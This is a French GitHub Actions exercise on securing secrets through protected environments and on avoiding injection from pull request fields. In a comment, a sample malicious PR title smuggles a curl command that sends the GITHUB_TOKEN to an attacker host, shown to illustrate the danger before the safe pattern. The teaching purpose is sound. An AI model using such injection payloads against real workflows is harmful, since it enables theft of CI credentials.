Exercice 04 : Gérer les secrets dans GitHub Actions avec les environnements
🎯 Objectifs
À la fin de cet exercice, vous serez capable de :
- ✅ Créer des secrets repository et les utiliser dans un workflow
- ✅ Créer des environnements GitHub (staging, production) avec protection
- ✅ Restreindre les secrets sensibles à certains environnements
- ✅ Protéger contre les fuites de secrets dans les logs
- ✅ Sécuriser les workflows contre les injections dans les pull requests de forks
Durée estimée : 30 minutes
Difficulté : ⭐⭐☆☆☆ (Intermédiaire)
Prérequis : Compte GitHub avec un repository
📖 Contexte
GitHub Actions masque automatiquement les valeurs des secrets dans les logs. Mais il existe plusieurs pièges : un secret accessible dans un contexte non protégé peut fuir via une PR malveillante d'un fork, un echo dans un script, ou une injection dans le titre d'une PR.
La gestion correcte des secrets dans GitHub Actions repose sur trois principes :
- Principe du moindre privilège : un secret ne doit être accessible que là où il est nécessaire
- Environnements protégés : les secrets de production ne sont disponibles qu'après une approbation manuelle
- Défense contre les injections : ne jamais interpoler directement un input GitHub dans une commande shell
📋 Énoncé
Configurez une gestion sécurisée des secrets avec des environnements GitHub protégés.
🧭 Déroulement de l'exercice
Tâche 1 : Créer des secrets repository
Dans votre repository GitHub :
- Settings → Secrets and variables → Actions
- Cliquez sur New repository secret
- Créez les secrets suivants :
DOCKER_USERNAME: votre username Docker HubDOCKER_PASSWORD: un access token Docker Hub (pas votre mot de passe)
Bonne pratique : Toujours utiliser des access tokens avec portée limitée plutôt que des mots de passe. Pour Docker Hub : Account Settings → Security → New Access Token (permission: Read, Write).
Vérification : Les 2 secrets apparaissent dans Settings → Secrets (les valeurs sont masquées par des ***).
Tâche 2 : Créer des environnements protégés
- Settings → Environments → New environment
- Créez l'environnement
staging:
- Pas de protection particulière
- Ajoutez un secret
DATABASE_URLavec la valeurpostgres://staging-db/myapp
- Créez l'environnement
production:
- Cochez Required reviewers et ajoutez votre username
- Cochez Wait timer : 5 minutes (délai avant déploiement auto)
- Ajoutez un secret
DATABASE_URLavec la valeurpostgres://prod-db/myapp
Indice : Les secrets d'environnement écrasent les secrets repository du même nom.
DATABASE_URLen staging pointe vers la base de staging, en production vers la base de production. Le workflow utilise la même variable${{ secrets.DATABASE_URL }}mais obtient une valeur différente selon l'environnement.
Tâche 3 : Workflow avec gestion d'environnements
mkdir -p .github/workflows
cat > .github/workflows/deploy.yml << 'EOF'
name: Deploy
on:
push:
branches:
- main # → staging
- release # → production
jobs:
deploy-staging:
name: Déployer en staging
runs-on: ubuntu-latest
environment: staging # Active les secrets de l'environnement staging
if: github.ref == 'refs/heads/main'
steps:
- uses: actions/checkout@v4
- name: Connexion Docker Hub
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKER_USERNAME }}
password: ${{ secrets.DOCKER_PASSWORD }}
- name: Afficher la DB (masqué automatiquement)
run: |
echo "Déploiement vers staging..."
# ✅ Correct : GitHub masque ${{ secrets.DATABASE_URL }} dans les logs
echo "DB URL configurée : ${{ secrets.DATABASE_URL }}"
# La sortie sera : "DB URL configurée : ***"
- name: Déploiement
run: echo "Déployé en staging avec succès"
env:
# ✅ Bonne pratique : passer les secrets via env vars
DB_URL: ${{ secrets.DATABASE_URL }}
deploy-production:
name: Déployer en production
runs-on: ubuntu-latest
environment: production # Requiert approbation manuelle !
if: github.ref == 'refs/heads/release'
needs: [] # Ne dépend pas de staging pour cet exemple
steps:
- uses: actions/checkout@v4
- name: Connexion Docker Hub
uses: docker/login-action@v3
with:
username: ${{ secrets.DOCKER_USERNAME }}
password: ${{ secrets.DOCKER_PASSWORD }}
- name: Déploiement production
run: echo "Déployé en production"
env:
DB_URL: ${{ secrets.DATABASE_URL }}
EOFTâche 4 : Défense contre les injections
Voici un exemple de vulnérabilité d'injection et sa correction :
cat > .github/workflows/pr-check.yml << 'EOF'
name: PR Check
on:
pull_request:
types: [opened, edited, synchronize]
jobs:
check:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
# ❌ DANGEREUX : injection possible si le titre de PR contient du shell
# Exemple malveillant : titre de PR = "'; curl attacker.com/steal?token=$GITHUB_TOKEN; #"
# - name: Mauvaise pratique
# run: echo "PR Title: ${{ github.event.pull_request.title }}"
# ✅ CORRECT : passer via une variable d'environnement (pas d'interpolation shell)
- name: Afficher le titre de PR de façon sécurisée
run: echo "PR Title: $PR_TITLE"
env:
PR_TITLE: ${{ github.event.pull_request.title }}
# ✅ CORRECT : vérifier les permissions avant d'accéder aux secrets
- name: Tests unitaires (sans secrets sensibles)
run: echo "Tests passés"
# Les secrets de production NE SONT PAS accessibles dans les PRs
# car le workflow tourne dans le contexte du fork (pas de secrets)
EOFRègle d'or : Ne jamais utiliser
${{ github.event.* }}directement dansrun:. Toujours passer par une variable d'environnement. L'interpolation${{ }}est résolue avant l'exécution du shell, ce qui permet l'injection de commandes.
Tâche 5 : Bloquer les secrets dans les PRs de forks
Configurez les permissions pour les pull requests de forks :
- Settings → Actions → General
- Dans "Fork pull request workflows" :
- Sélectionnez "Require approval for first-time contributors"
- Cela évite que des forks malveillants accèdent aux secrets en CI
- Pour les workflows qui tournent sur des PRs de forks, utilisez l'événement
pull_request_targetavec précaution (il a accès aux secrets mais tourne dans le contexte du repo cible, pas du fork).
git add .github/workflows/
git commit -m "ci: workflow deploy avec environnements et protection secrets"
git push✅ Vérification du résultat
- Les secrets
DOCKER_USERNAMEetDOCKER_PASSWORDsont créés - L'environnement
productionrequiert une approbation manuelle - Le workflow
deploy.ymlutiliseenvironment:pour les jobs - Le workflow
pr-check.ymlpasse les inputs viaenv:(pas en inline) - Le push déclenche le workflow et les jobs apparaissent dans Actions
💡 À retenir
Hiérarchie des secrets :
Organization secrets (tous les repos)
└─ Repository secrets (ce repo)
└─ Environment secrets (staging / production)
(les environment secrets écrasent les repository secrets)Anti-patterns à éviter :
# ❌ Injection possible
run: echo "${{ github.event.pull_request.title }}"
# ✅ Sécurisé
run: echo "$TITLE"
env:
TITLE: ${{ github.event.pull_request.title }}✨ Solution Complète
# Workflow avec environnement protégé
jobs:
deploy:
environment: production # Déclenche l'approbation manuelle
steps:
- name: Déployer
run: ./deploy.sh
env:
DB_URL: ${{ secrets.DATABASE_URL }} # Passer via env, jamais inline